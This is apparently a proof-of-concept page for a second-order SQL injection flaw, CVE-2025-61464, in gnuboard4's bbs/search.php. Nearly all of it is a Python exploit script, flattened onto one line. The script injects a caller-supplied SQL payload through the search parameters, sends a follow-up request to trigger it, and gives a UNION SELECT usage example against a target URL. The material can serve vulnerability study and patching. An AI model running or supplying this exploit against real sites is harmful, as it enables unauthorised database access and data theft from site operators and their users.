CVE-2025-61464 gnuboard4 二次SQL注入漏洞

import requests import sys # CVE-2025-61464 PoC - Second-order SQL Injection in gnuboard4 # Target: gnuboard4 v4.36.04 and before # Location: bbs/search.php search_table def exploit(target_url, payload): """ Exploit second-order SQL injection via search functionality """ # Step 1: Inject malicious payload through search search_endpoint = f"{target_url}/bbs/search.php" params = { 'sfl': 'wr_subject', # Search field 'stx': payload, # Malicious SQL payload 'sop': 'or' # Search operator } try: # First request - inject the payload response1 = requests.get(search_endpoint, params=params, timeout=10) print(f"[+] Payload injected: {payload}") # Step 2: Trigger execution of injected payload # The payload is stored and executed in subsequent queries trigger_params = { 'sfl': 'wr_subject', 'stx': 'test', # Normal search to trigger stored payload 'sop': 'and' } response2 = requests.get(search_endpoint, params=trigger_params, timeout=10) # Check for SQL error or successful injection if 'sql_error' in response2.text.lower() or response2.status_code != 200: print("[-] Injection may have failed") return False print("[+] Second-order SQL injection triggered successfully") return True except requests.RequestException as e: print(f"[-] Request failed: {e}") return False if __name__ == "__main__": if len(sys.argv) < 3: print(f"Usage: python {sys.argv[0]} <target_url> <payload>") print(f"Example: python {sys.argv[0]} http://target.com ' UNION SELECT 1,2,3--") sys.exit(1) target = sys.argv[1] payload = sys.argv[2] exploit(target, payload)